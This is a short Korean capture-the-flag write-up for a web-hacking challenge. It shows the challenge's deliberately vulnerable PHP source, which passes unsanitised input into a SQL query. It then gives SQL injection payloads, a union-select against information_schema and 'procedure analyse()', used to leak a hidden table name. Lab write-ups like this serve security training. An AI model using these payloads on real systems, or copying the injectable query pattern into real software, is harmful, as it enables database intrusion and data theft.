목표 : SQL procedure analyse()
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 53</title>
</head>
<body>
<?php
$db = dbconnect();
include "./tablename.php";
if($_GET['answer'] == $hidden_table) solve(53);
if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
echo($result[0]);
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
SQL
복사
바로 소스만 있다.
answer 값에 hidden_table 을 입력하면 해결
val은 select 와 by를 필터링하며 hidden table 에서 val 값이 필드 a에 있을 경우 출력한다.
val은 0~4만 출력된다.
union select가 가능했을 경우 다음 쿼리로 테이블명 획득이 가능하다.
a' union select '1','2','3','4','5',table_name,'7','8','9','10','11' from information_schema.tables --
SQL
복사
찾아봤다 테이블명을 where 문 뒤에서 출력하는 기능이 있는지. procedure analyse();라는 처음보는 함수가 있었다.
진짜 그냥 이대로만 쓰면 테이블명이 튀어나온다.
val=1 procedure analyse();
SQL
복사
가운데 값이 테이블명이다.
answer에 넣어주면 해결된다.